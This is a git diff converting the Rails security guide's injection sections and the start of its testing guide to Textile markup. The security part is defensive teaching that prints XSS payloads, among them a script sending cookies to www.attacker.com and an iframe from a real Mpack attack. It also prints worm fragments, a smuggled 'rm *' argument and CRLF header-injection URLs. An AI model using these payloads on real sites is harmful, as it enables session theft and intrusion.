+XSS attacks work like this: An attacker injects some code, the web application saves it and displays it on a page, later presented to a victim. Most XSS examples simply display an alert box, but it is more powerful than that. XSS can steal the cookie, hijack the session, redirect the victim to a fake website, display advertisements for the benefit of the attacker, change elements on the web site to get confidential information or install malicious software through security holes in the web browser.
-During the second half of 2007, there were 88 vulnerabilities reported in Mozilla browsers, 22 in Safari, 18 in IE, and 12 in Opera. The http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf[Symantec Global Internet Security threat report] also documented 239 browser plug-in vulnerabilities in the last six months of 2007. http://pandalabs.pandasecurity.com/archive/MPack-uncovered_2100_.aspx[Mpack] is a very active and up-to-date attack framework which exploits these vulnerabilities. For criminal hackers, it is very attractive to exploit an SQL-Injection vulnerability in a web application framework and insert malicious code in every textual table column. In April 2008 more than 510,000 sites http://www.0x000000.com/?i=556[were hacked] like this, among them the British government, United Nations and many more high targets.
+During the second half of 2007, there were 88 vulnerabilities reported in Mozilla browsers, 22 in Safari, 18 in IE, and 12 in Opera. The "Symantec Global Internet Security threat report":http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf also documented 239 browser plug-in vulnerabilities in the last six months of 2007. "Mpack":http://pandalabs.pandasecurity.com/archive/MPack-uncovered_2100_.aspx is a very active and up-to-date attack framework which exploits these vulnerabilities. For criminal hackers, it is very attractive to exploit an SQL-Injection vulnerability in a web application framework and insert malicious code in every textual table column. In April 2008 more than 510,000 sites were hacked like this, among them the British government, United Nations, and many more high targets.
-A relatively new, and unusual, form of entry points are banner advertisements. In earlier 2008, malicious code appeared in banner ads on popular sites, such as MySpace and Excite, according to http://blog.trendmicro.com/myspace-excite-and-blick-serve-up-malicious-banner-ads/[Trend Micro].
+A relatively new, and unusual, form of entry points are banner advertisements. In earlier 2008, malicious code appeared in banner ads on popular sites, such as MySpace and Excite, according to "Trend Micro":http://blog.trendmicro.com/myspace-excite-and-blick-serve-up-malicious-banner-ads/.
-==== HTML/JavaScript Injection
+h5. HTML/JavaScript Injection
-The most common XSS language is of course the most popular client-side scripting language JavaScript, often in combination with HTML. [,#fffcdb]#Escaping user input is essential#.
+The most common XSS language is of course the most popular client-side scripting language JavaScript, often in combination with HTML. _(highlight)Escaping user input is essential_.
Here is the most straightforward test to check for XSS:
-..........
+<html>
<script>alert('Hello');</script>
-..........
+</html>
This JavaScript code will simply display an alert box. The next examples do exactly the same, only in very uncommon places:
-..........
+<html>
<img src=javascript:alert('Hello')>
<table background="javascript:alert('Hello')">
-..........
+</html>
-===== Cookie theft
+h6. Cookie Theft
These examples don't do any harm so far, so let's see how an attacker can steal the user's cookie (and thus hijack the user's session). In JavaScript you can use the document.cookie property to read and write the document's cookie. JavaScript enforces the same origin policy, that means a script from one domain cannot access cookies of another domain. The document.cookie property holds the cookie of the originating web server. However, you can read and write this property, if you embed the code directly in the HTML document (as it happens with XSS). Inject this anywhere in your web application to see your own cookie on the result page:
-..........
+<plain>
<script>document.write(document.cookie);</script>
-..........
+</plain>
For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victims cookie.
-..........
+<html>
<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>
-..........
+</html>
The log files on www.attacker.com will read like this:
-..........
+<plain>
GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2
-..........
+</plain>
-You can mitigate these attacks (in the obvious way) by adding the http://dev.rubyonrails.org/ticket/8895[httpOnly] flag to cookies, so that document.cookie may not be read by JavaScript. Http only cookies can be used from IE v6.SP1, Firefox v2.0.0.5 and Opera 9.5. Safari is still considering, it ignores the option. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies http://ha.ckers.org/blog/20070719/firefox-implements-httponly-and-is-vulnerable-to-xmlhttprequest/[will still be visible using Ajax], though.
+You can mitigate these attacks (in the obvious way) by adding the "httpOnly":http://dev.rubyonrails.org/ticket/8895 flag to cookies, so that document.cookie may not be read by JavaScript. Http only cookies can be used from IE v6.SP1, Firefox v2.0.0.5 and Opera 9.5. Safari is still considering, it ignores the option. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies "will still be visible using Ajax":http://ha.ckers.org/blog/20070719/firefox-implements-httponly-and-is-vulnerable-to-xmlhttprequest/, though.
-===== Defacement
+h6. Defacement
With web page defacement an attacker can do a lot of things, for example, present false information or lure the victim on the attackers web site to steal the cookie, login credentials or other sensitive data. The most popular way is to include code from external sources by iframes:
-..........
+<html>
<iframe name=”StatPage” src="http://58.xx.xxx.xxx" width=5 height=5 style=”display:none”></iframe>
-..........
+</html>
-This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iFrame is taken from an http://www.symantec.com/enterprise/security_response/weblog/2007/06/italy_under_attack_mpack_gang.html[actual attack] on legitimate Italian sites using the http://isc.sans.org/diary.html?storyid=3015[Mpack attack framework]. Mpack tries to install malicious software through security holes in the web browser – very successfully, 50% of the attacks succeed.
+This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iframe is taken from an actual attack on legitimate Italian sites using the "Mpack attack framework":http://isc.sans.org/diary.html?storyid=3015. Mpack tries to install malicious software through security holes in the web browser – very successfully, 50% of the attacks succeed.
A more specialized attack could overlap the entire web site or display a login form, which looks the same as the site's original, but transmits the user name and password to the attackers site. Or it could use CSS and/or JavaScript to hide a legitimate link in the web application, and display another one at its place which redirects to a fake web site.
Reflected injection attacks are those where the payload is not stored to present it to the victim later on, but included in the URL. Especially search forms fail to escape the search string. The following link presented a page which stated that "George Bush appointed a 9 year old boy to be the chairperson...":
-..........
+<plain>
http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1-->
<script src=http://www.securitylab.ru/test/sc.js></script><!--
-..........
+</plain>
-===== Countermeasures
+h6. Countermeasures
-[,#fffcdb]#It is very important to filter malicious input, but it is also important to escape the output of the web application#.
+_(highlight)It is very important to filter malicious input, but it is also important to escape the output of the web application_.
-Especially for XSS, it is important to do [,#fffcdb]#whitelist input filtering instead of blacklist#. Whitelist filtering states the values allowed as opposed to the values not allowed. Blacklists are never complete.
+Especially for XSS, it is important to do _(highlight)whitelist input filtering instead of blacklist_. Whitelist filtering states the values allowed as opposed to the values not allowed. Blacklists are never complete.
-Imagine a blacklist deletes “script” from the user input. Now the attacker injects “<scrscriptipt>”, and after the filter, “<script>” remains. Earlier versions of Rails used a blacklist approach for the strip_tags(), strip_links() and sanitize() method. So this kind of injection was possible:
+Imagine a blacklist deletes “script” from the user input. Now the attacker injects “&lt;scrscriptipt&gt;”, and after the filter, “&lt;script&gt;” remains. Earlier versions of Rails used a blacklist approach for the strip_tags(), strip_links() and sanitize() method. So this kind of injection was possible:
-...........
-strip_tags("some<<b>script>alert('hello')<</b>/script>")
-...........
+<ruby>
+strip_tags("some<<b>script>alert('hello')<</b>/script>")
+</ruby>
-This returned "some<script>alert('hello')</script>", which makes an attack work. That's why I vote for a whitelist approach, using the updated Rails 2 method sanitize():
+This returned "some&lt;script&gt;alert('hello')&lt;/script&gt;", which makes an attack work. That's why I vote for a whitelist approach, using the updated Rails 2 method sanitize():
-...........
+<ruby>
tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
s = sanitize(user_input, :tags => tags, :attributes => %w(href title))
-...........
+</ruby>
This allows only the given tags and does a good job, even against all kinds of tricks and malformed tags.
-As a second step, [,#fffcdb]#it is good practice to escape all output of the application#, especially when re-displaying user input, which hasn't been input filtered (as in the search form example earlier on). [,#fffcdb]#Use escapeHTML() (or its alias h()) method# to replace the HTML input characters &,",<,> by its uninterpreted representations in HTML (&amp;, &quot;, &lt; and &gt;). However, it can easily happen that the programmer forgets to use it, so [,#fffcdb]#it is recommended to use the http://safe-erb.rubyforge.org/svn/plugins/safe_erb/[SafeErb] plugin#. SafeErb reminds you to escape strings from external sources.
+As a second step, _(highlight)it is good practice to escape all output of the application_, especially when re-displaying user input, which hasn't been input-filtered (as in the search form example earlier on). _(highlight)Use +escapeHTML()+ (or its alias +h()+) method_ to replace the HTML input characters &amp;, &quot;, &lt;, &gt; by their uninterpreted representations in HTML (+&amp;amp;+, +&amp;quot;+, +&amp;lt+;, and +&amp;gt;+). However, it can easily happen that the programmer forgets to use it, so <em class="highlight">it is recommended to use the "SafeErb":http://safe-erb.rubyforge.org/svn/plugins/safe_erb/ plugin</em>. SafeErb reminds you to escape strings from external sources.
-===== Obfuscation and Encoding Injection
+h6. Obfuscation and Encoding Injection
Network traffic is mostly based on the limited Western alphabet, so new character encodings, such as Unicode, emerged, to transmit characters in other languages. But, this is also a threat to web applications, as malicious code can be hidden in different encodings that the web browser might be able to process, but the web application might not. Here is an attack vector in UTF-8 encoding:
-............
-<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;
- &#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
-............
+<html>
+<IMG SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#58;&amp;#97;
+ &amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#88;&amp;#83;&amp;#83;&amp;#39;&amp;#41;>
+</html>
-This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus “get to know your enemy”, is the http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php[Hackvertor]. Rails‘ sanitize() method does a good job to fend off encoding attacks.
+This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus “get to know your enemy”, is the "Hackvertor":http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php. Rails‘ sanitize() method does a good job to fend off encoding attacks.
-==== Examples from the underground
+h5. Examples from the Underground
--- _In order to understand today's attacks on web applications, it's best to take a look at some real-world attack vectors._
+_In order to understand today's attacks on web applications, it's best to take a look at some real-world attack vectors._
-The following is an excerpt from the http://www.symantec.com/security_response/writeup.jsp?docid=2006-061211-4111-99&tabid=1[Js.Yamanner@m] Yahoo! Mail http://groovin.net/stuff/yammer.txt[worm]. It appeared on June 11, 2006 and was the first webmail interface worm:
+The following is an excerpt from the "Js.Yamanner@m":http://www.symantec.com/security_response/writeup.jsp?docid=2006-061211-4111-99&tabid=1 Yahoo! Mail "worm":http://groovin.net/stuff/yammer.txt. It appeared on June 11, 2006 and was the first webmail interface worm:
-...........
-<img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'
+<html>
+<img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'
target=""onload="var http_request = false; var Email = '';
var IDList = ''; var CRumb = ''; function makeRequest(url, Func, Method,Param) { ...
-...........
+</html>
-The worms exploits a hole in Yahoo's HTML/JavaScript filter, it usually filters all target and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why blacklist filters are never complete and why it is hard to allow HTML/JavaScript in a web application.
+The worms exploits a hole in Yahoo's HTML/JavaScript filter, which usually filters all target and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why blacklist filters are never complete and why it is hard to allow HTML/JavaScript in a web application.
-Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details and a video demonstration on http://rosario.valotta.googlepages.com/home[Rosario Valotta's website]. Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with.
+Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details on "Rosario Valotta's paper":http://www.xssed.com/article/9/Paper_A_PoC_of_a_cross_webmail_worm_XWW_called_Njuda_connection/. Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with.
-In December 2006, 34,000 actual user names and passwords were stolen in a http://news.netcraft.com/archives/2006/10/27/myspace_accounts_compromised_by_phishers.html[MySpace phishing attack]. The idea of the attack was to create a profile page named “login_home_index_html”, so the URL looked very convincing. Specially-crafted HTML and CSS was used to hide the genuine MySpace content from the page and instead display its own login form.
+In December 2006, 34,000 actual user names and passwords were stolen in a "MySpace phishing attack":http://news.netcraft.com/archives/2006/10/27/myspace_accounts_compromised_by_phishers.html. The idea of the attack was to create a profile page named “login_home_index_html”, so the URL looked very convincing. Specially-crafted HTML and CSS was used to hide the genuine MySpace content from the page and instead display its own login form.
The MySpace Samy worm will be discussed in the CSS Injection section.
-=== CSS Injection
+h4. CSS Injection
-- _CSS Injection is actually JavaScript injection, because some browsers (IE, some versions of Safari and others) allow JavaScript in CSS. Think twice about allowing custom CSS in your web application._
-CSS Injection is explained best by a well-known worm, the http://namb.la/popular/tech.html[MySpace Samy worm]. This worm automatically sent a friend request to Samy (the attacker) simply by visiting his profile. Within several hours he had over 1 million friend requests, but it creates too much traffic on MySpace, so that the site goes offline. The following is a technical explanation of the worm.
+CSS Injection is explained best by a well-known worm, the "MySpace Samy worm":http://namb.la/popular/tech.html. This worm automatically sent a friend request to Samy (the attacker) simply by visiting his profile. Within several hours he had over 1 million friend requests, but it creates too much traffic on MySpace, so that the site goes offline. The following is a technical explanation of the worm.
MySpace blocks many tags, however it allows CSS. So the worm's author put JavaScript into CSS like this:
-...........
+<html>
<div style="background:url('javascript:alert(1)')">
-...........
+</html>
So the payload is in the style attribute. But there are no quotes allowed in the payload, because single and double quotes have already been used. But JavaScript allows has a handy eval() function which executes any string as code.
-...........
-<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">
-...........
+<html>
+<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">
+</html>
The eval() function is a nightmare for blacklist input filters, as it allows the style attribute to hide the word “innerHTML”:
-...........
-alert(eval('document.body.inne' + 'rHTML'));
-...........
+<plain>
+alert(eval('document.body.inne' + 'rHTML'));
+</plain>
-The next problem was MySpace filtering the word “javascript”, so the author used “java<NEWLINE>script" to get around this:
+The next problem was MySpace filtering the word “javascript”, so the author used “java&lt;NEWLINE&gt;script" to get around this:
-...........
+<html>
<div id="mycode" expr="alert('hah!')" style="background:url('java↵
script:eval(document.all.mycode.expr)')">
-...........
+</html>
-Another problem for the worm's author were CSRF security tokens. Without them he couldn't send a friend request over POST. He got around it by sending a GET to the page right before adding a the user and parsing the result for the CSRF token.
+Another problem for the worm's author were CSRF security tokens. Without them he couldn't send a friend request over POST. He got around it by sending a GET to the page right before adding a user and parsing the result for the CSRF token.
In the end, he got a 4 KB worm, which he injected into his profile page.
-The http://www.securiteam.com/securitynews/5LP051FHPE.html[moz-binding] CSS property proved to be another way to introduce JavaScript in CSS in Gecko-based browsers (Firefox, for example).
+The "moz-binding":http://www.securiteam.com/securitynews/5LP051FHPE.html CSS property proved to be another way to introduce JavaScript in CSS in Gecko-based browsers (Firefox, for example).
-==== Countermeasures
-This example, again, showed that a blacklist filter is never complete. However, as custom CSS in web applications is a quite rare feature, I am not aware of a whitelist CSS filter. [,#fffcdb]#If you want to allow custom colours or images, you can allow the user to choose them and build the CSS in the web application#. Use Rails' +sanitize()+ method as a model for a whitelist CSS filter, if you really need one.
+h5. Countermeasures
-=== Textile Injection
+This example, again, showed that a blacklist filter is never complete. However, as custom CSS in web applications is a quite rare feature, I am not aware of a whitelist CSS filter. _(highlight)If you want to allow custom colours or images, you can allow the user to choose them and build the CSS in the web application_. Use Rails' +sanitize()+ method as a model for a whitelist CSS filter, if you really need one.
--- _If you want to provide text formatting other than HTML (due to security), use a mark-up language which is converted to HTML on the server-side. http://whytheluckystiff.net/ruby/redcloth/[RedCloth] is such a language for Ruby, but without precautions, it is also vulnerable to XSS._
+h4. Textile Injection
- For example, RedCloth translates _test_ to <em>test<em>, which makes the text italic. However, up to the current version 3.0.4, it is still vulnerable to XSS. Get the http://www.redcloth.org[all-new version 4] that removed serious bugs. However, even that version has http://www.rorsecurity.info/journal/2008/10/13/new-redcloth-security.html[some security bugs], so the countermeasures still apply. Here is an example for version 3.0.4:
+-- _If you want to provide text formatting other than HTML (due to security), use a mark-up language which is converted to HTML on the server-side. "RedCloth":http://redcloth.org/ is such a language for Ruby, but without precautions, it is also vulnerable to XSS._
+For example, RedCloth translates +_test_+ to &lt;em&gt;test&lt;em&gt;, which makes the text italic. However, up to the current version 3.0.4, it is still vulnerable to XSS. Get the "all-new version 4":http://www.redcloth.org that removed serious bugs. However, even that version has "some security bugs":http://www.rorsecurity.info/journal/2008/10/13/new-redcloth-security.html, so the countermeasures still apply. Here is an example for version 3.0.4:
-...........
->> RedCloth.new('<script>alert(1)</script>').to_html
-=> "<script>alert(1)</script>"
-...........
+<ruby>
+RedCloth.new('<script>alert(1)</script>').to_html
+# => "<script>alert(1)</script>"
+</ruby>
Use the :filter_html option to remove HTML which was not created by the Textile processor.
-...........
->> RedCloth.new('<script>alert(1)</script>', [:filter_html]).to_html
-=> "alert(1)"
-...........
+<ruby>
+RedCloth.new('<script>alert(1)</script>', [:filter_html]).to_html
+# => "alert(1)"
+</ruby>
-However, this does not filter all HTML, a few tags will be left (by design), for example <a>:
+However, this does not filter all HTML, a few tags will be left (by design), for example &lt;a&gt;:
-...........
->> RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html
-=> "<p><a href="javascript:alert(1)">hello</a></p>"
-...........
+<ruby>
+RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html
+# => "<p><a href="javascript:alert(1)">hello</a></p>"
+</ruby>
-==== Countermeasures
+h5. Countermeasures
-It is recommended to [,#fffcdb]#use RedCloth in combination with a whitelist input filter#, as described in the countermeasures against XSS.
+It is recommended to _(highlight)use RedCloth in combination with a whitelist input filter_, as described in the countermeasures against XSS section.
-=== Ajax Injection
+h4. Ajax Injection
-- _The same security precautions have to be taken for Ajax actions as for “normal” ones. There is at least one exception, however: The output has to be escaped in the controller already, if the action doesn't render a view._
-If you use the http://dev.rubyonrails.org/browser/plugins/in_place_editing[in_place_editor plugin], or actions that return a string, rather than rendering a view, [,#fffcdb]#you have to escape the return value in the action#. Otherwise, if the return value contains a XSS string, the malicious code will be executed upon return to the browser. Escape any input value using the h() method.
+If you use the "in_place_editor plugin":http://dev.rubyonrails.org/browser/plugins/in_place_editing, or actions that return a string, rather than rendering a view, _(highlight)you have to escape the return value in the action_. Otherwise, if the return value contains a XSS string, the malicious code will be executed upon return to the browser. Escape any input value using the h() method.
-=== RJS Injection
+h4. RJS Injection
-- _Don't forget to escape in JavaScript (RJS) templates, too._
-The RJS API generates blocks of JavaScript code based on Ruby code, thus allowing you to manipulate a view or parts of a view from the server side. [,#fffcdb]#If you allow user input in RJS templates, do escape it using escape_javascript() within JavaScript functions, and in HTML parts using h()#. Otherwise an attacker could execute arbitrary JavaScript.
+The RJS API generates blocks of JavaScript code based on Ruby code, thus allowing you to manipulate a view or parts of a view from the server side. <em class="highlight">If you allow user input in RJS templates, do escape it using +escape_javascript()+ within JavaScript functions, and in HTML parts using +h()+</em>. Otherwise an attacker could execute arbitrary JavaScript.
-=== Command Line Injection
+h4. Command Line Injection
-- _Use user-supplied command line parameters with caution._
-If your application has to execute commands in the underlying operating system, there are several methods in Ruby: exec(command), syscall(command), system(command) and \`command`. You will have to be especially careful with these functions if the user may enter the whole command, or a part of it. This is because in most shells, you can execute another command at the end of the first one, concatenating them with a semicolon (;) or a vertical bar (|).
+If your application has to execute commands in the underlying operating system, there are several methods in Ruby: exec(command), syscall(command), system(command) and \+command+. You will have to be especially careful with these functions if the user may enter the whole command, or a part of it. This is because in most shells, you can execute another command at the end of the first one, concatenating them with a semicolon (;) or a vertical bar (|).
-A countermeasure is to [,#fffcdb]#use the +system(command, parameters)+ method which passes command line parameters safely#.
+A countermeasure is to _(highlight)use the +system(command, parameters)+ method which passes command line parameters safely_.
-..........
+<ruby>
system("/bin/echo","hello; rm *")
# prints "hello; rm *" and does not delete files
-..........
+</ruby>
-=== Header Injection
+h4. Header Injection
+
-- _HTTP headers are dynamically generated and under certain circumstances user input may be injected. This can lead to false redirection, XSS or HTTP response splitting._
-HTTP request headers have a Referer, User-Agent (client software) and Cookie field, among others. Response headers for example have a status code, Cookie and Location (redirection target URL) field. All of them are user-supplied and may be manipulated with more or less effort. [,#fffcdb]#Remember to escape these header fields, too.# For example when you display the user agent in an administration area.
+HTTP request headers have a Referer, User-Agent (client software), and Cookie field, among others. Response headers for example have a status code, Cookie and Location (redirection target URL) field. All of them are user-supplied and may be manipulated with more or less effort. _(highlight)Remember to escape these header fields, too._ For example when you display the user agent in an administration area.
-Besides that, it is [,#fffcdb]#important to know what you are doing when building response headers partly based on user input.# For example you want to redirect the user back to a specific page. To do that you introduced a “referer“ field in a form to redirect to the given address:
+Besides that, it is _(highlight)important to know what you are doing when building response headers partly based on user input._ For example you want to redirect the user back to a specific page. To do that you introduced a “referer“ field in a form to redirect to the given address:
-..........
+<ruby>
redirect_to params[:referer]
-..........
+</ruby>
What happens is that Rails puts the string into the Location header field and sends a 302 (redirect) status to the browser. The first thing a malicious user would do, is this:
-..........
+<plain>
http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld
-..........
+</plain>
And due to a bug in (Ruby and) Rails up to version 2.1.2 (excluding it), a hacker may inject arbitrary header fields; for example like this:
-..........
+<plain>
http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi!
http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld
-..........
+</plain>
Note that "%0d%0a" is URL-encoded for "\r\n" which is a carriage-return and line-feed (CRLF) in Ruby. So the resulting HTTP header for the second example will be the following because the second Location header field overwrites the first.
-..........
+<plain>
HTTP/1.1 302 Moved Temporarily
(...)
Location: http://www.malicious.tld
-..........
+</plain>
+
+So _(highlight)attack vectors for Header Injection are based on the injection of CRLF characters in a header field._ And what could an attacker do with a false redirection? He could redirect to a phishing site that looks the same as yours, but asks to login again (and sends the login credentials to the attacker). Or he could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the +redirect_to+ method. _(highlight)Make sure you do it yourself when you build other header fields with user input._
-So [,#fffcdb]#attack vectors for Header Injection are based on the injection of CRLF characters in a header field.# And what could an attacker do with a false redirection? He could redirect to a phishing site that looks the same as yours, but asks to login again (and sends the login credentials to the attacker). Or he could install malicious software through browser security holes on that site. [,#fffcdb]#Rails 2.1.2 escapes these characters for the Location field in the redirect_to method. Make sure you do it yourself when you build other header fields with user input.#
+h5. Response Splitting
-==== Response Splitting
If Header Injection was possible, Response Splitting might be, too. In HTTP, the header block is followed by two CRLFs and the actual data (usually HTML). The idea of Response Splitting is to inject two CRLFs into a header field, followed by another response with malicious HTML. The response will be:
-..........
+<plain>
HTTP/1.1 302 Found [First standard 302 response]
Date: Tue, 12 Apr 2005 22:09:07 GMT
Location:
Content-Type: text/html
@@ -957,28 +960,27 @@ HTTP/1.1 200 OK [Second New response created by attacker begins]
Content-Type: text/html
-<html><font color=red>hey</font></html> [Arbitary malicious input is
+&lt;html&gt;&lt;font color=red&gt;hey&lt;/font&gt;&lt;/html&gt; [Arbitary malicious input is
Keep-Alive: timeout=15, max=100 shown as the redirected page]
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html
-..........
+</plain>
-Under certain circumstances this would present the malicious HTML to the victim. However, this seems to work with Keep-Alive connections, only (and many browsers are using one-time connections). But you can't rely on this. [,#fffcdb]#In any case this is a serious bug, and you should update your Rails to version 2.0.5 or 2.1.2 to eliminate Header Injection (and thus response splitting) risks.#
+Under certain circumstances this would present the malicious HTML to the victim. However, this seems to work with Keep-Alive connections, only (and many browsers are using one-time connections). But you can't rely on this. _(highlight)In any case this is a serious bug, and you should update your Rails to version 2.0.5 or 2.1.2 to eliminate Header Injection (and thus response splitting) risks._
-== Additional resources
+h3. Additional Resources
The security landscape shifts and it is important to keep up to date, because missing a new vulnerability can be catastrophic. You can find additional resources about (Rails) security here:
-- The Ruby on Rails security project posts security news regularly: http://www.rorsecurity.info[http://www.rorsecurity.info]
-- Subscribe to the Rails security http://groups.google.com/group/rubyonrails-security[mailing list]
-- http://secunia.com/[Keep up to date on the other application layers] (they have a weekly newsletter, too)
-- A http://ha.ckers.org/blog/[good security blog] including the http://ha.ckers.org/xss.html[Cross-Site scripting Cheat Sheet]
-- Another http://www.0x000000.com/[good security blog] with some Cheat Sheets, too
+* The Ruby on Rails security project posts security news regularly: "http://www.rorsecurity.info":http://www.rorsecurity.info
+* Subscribe to the Rails security "mailing list":http://groups.google.com/group/rubyonrails-security
+* "Keep up to date on the other application layers":http://secunia.com/ (they have a weekly newsletter, too)
+* A "good security blog":http://ha.ckers.org/blog/ including the "Cross-Site scripting Cheat Sheet":http://ha.ckers.org/xss.html
-== Changelog ==
+h3. Changelog
-http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/7[Lighthouse ticket]
+"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/7
* November 1, 2008: First approved version by Heiko Webers
diff --git a/railties/doc/guides/source/testing_rails_applications.txt b/railties/guides/source/testing.textile
index 054260e276..12fc836edf 100644
--- a/railties/doc/guides/source/testing_rails_applications.txt
+++ b/railties/guides/source/testing.textile
@@ -1,5 +1,4 @@
-A Guide to Testing Rails Applications
-=====================================
+h2. A Guide to Testing Rails Applications
This guide covers built-in mechanisms offered by Rails to test your application. By referring to this guide, you will be able to:
@@ -9,25 +8,27 @@ This guide covers built-in mechanisms offered by Rails to test your application.
This guide won't teach you to write a Rails application; it assumes basic familiarity with the Rails way of doing things.
-== Why Write Tests for your Rails Applications? ==
+endprologue.
- * Rails makes it super easy to write your tests. It starts by producing skeleton test code in background while you are creating your models and controllers.
- * By simply running your Rails tests you can ensure your code adheres to the desired functionality even after some major code refactoring.
- * Rails tests can also simulate browser requests and thus you can test your application's response without having to test it through your browser.
+h3. Why Write Tests for your Rails Applications?
-== Introduction to Testing ==
+* Rails makes it super easy to write your tests. It starts by producing skeleton test code in background while you are creating your models and controllers.
+* By simply running your Rails tests you can ensure your code adheres to the desired functionality even after some major code refactoring.
+* Rails tests can also simulate browser requests and thus you can test your application's response without having to test it through your browser.
+
+h3. Introduction to Testing
Testing support was woven into the Rails fabric from the beginning. It wasn't an "oh! let's bolt on support for running tests because they're new and cool" epiphany. Just about every Rails application interacts heavily with a database - and, as a result, your tests will need a database to interact with as well. To write efficient tests, you'll need to understand how to set up this database and populate it with sample data.
-=== The 3 Environments ===
+h4. The Three Environments
Every Rails application you build has 3 sides: a side for production, a side for development, and a side for testing.
One place you'll find this distinction is in the +config/database.yml+ file. This YAML configuration file has 3 different sections defining 3 unique database setups:
- * production
- * development
- * test
+* production
+* development
+* test
This allows you to set up and interact with test data without any danger of your tests altering data from your production environment.
@@ -35,37 +36,35 @@ For example, suppose you need to test your new +delete_this_user_and_every_every
When you do end up destroying your testing database (and it will happen, trust me), you can rebuild it from scratch according to the specs defined in the development database. You can do this by running +rake db:test:prepare+.
-=== Rails Sets up for Testing from the Word Go ===
+h4. Rails Sets up for Testing from the Word Go
Rails creates a +test+ folder for you as soon as you create a Rails project using +rails _application_name_+. If you list the contents of this folder then you shall see:
-[source,shell]
-------------------------------------------------------
+<shell>
$ ls -F test/
fixtures/ functional/ integration/ test_helper.rb unit/
-------------------------------------------------------
+</shell>
The +unit+ folder is meant to hold tests for your models, the +functional+ folder is meant to hold tests for your controllers, and the +integration+ folder is meant to hold tests that involve any number of controllers interacting. Fixtures are a way of organizing test data; they reside in the +fixtures+ folder. The +test_helper.rb+ file holds the default configuration for your tests.
-=== The Low-Down on Fixtures ===
+h4. The Low-Down on Fixtures
For good tests, you'll need to give some thought to setting up test data. In Rails, you can handle this by defining and customizing fixtures.
-==== What Are Fixtures? ====
+h5. What are Fixtures?
_Fixtures_ is a fancy word for sample data. Fixtures allow you to populate your testing database with predefined data before your tests run. Fixtures are database independent and assume one of two formats: *YAML* or *CSV*. In this guide we will use *YAML* which is the preferred format.
You'll find fixtures under your +test/fixtures+ directory. When you run +script/generate model+ to create a new model, fixture stubs will be automatically created and placed in this directory.
-==== YAML ====
+h5. YAML
YAML-formatted fixtures are a very human-friendly way to describe your sample data. These types of fixtures have the *.yml* file extension (as in +users.yml+).
Here's a sample YAML fixture file:
-[source,ruby]
----------------------------------------------
+<yaml>
# low & behold! I am a YAML comment!
david:
name: David Heinemeier Hansson
@@ -76,16 +75,15 @@ steve:
name: Steve Ross Kellock
birthday: 1974-09-27
profession: guy with keyboard
----------------------------------------------
+</yaml>
Each fixture is given a name followed by an indented list of colon-separated key/value pairs. Records are separated by a blank space. You can place comments in a fixture file by using the # character in the first column.
-==== ERb'in It Up ====
+h5. ERb'in It Up
ERb allows you embed ruby code within templates. Both the YAML and CSV fixture formats are pre-processed with ERb when you load fixtures. This allows you to use Ruby to help you generate some sample data.
-[source, ruby]
---------------------------------------------------------------
+<erb>
<% earth_size = 20 -%>
mercury:
size: <%= earth_size / 50 %>
@@ -98,72 +96,68 @@ venus:
mars:
size: <%= earth_size - 69 %>
brightest_on: <%= 13.days.from_now.to_s(:db) %>
---------------------------------------------------------------
+</erb>
Anything encased within the
-[source, ruby]
-------------------------
+<erb>
<% %>
-------------------------
+</erb>
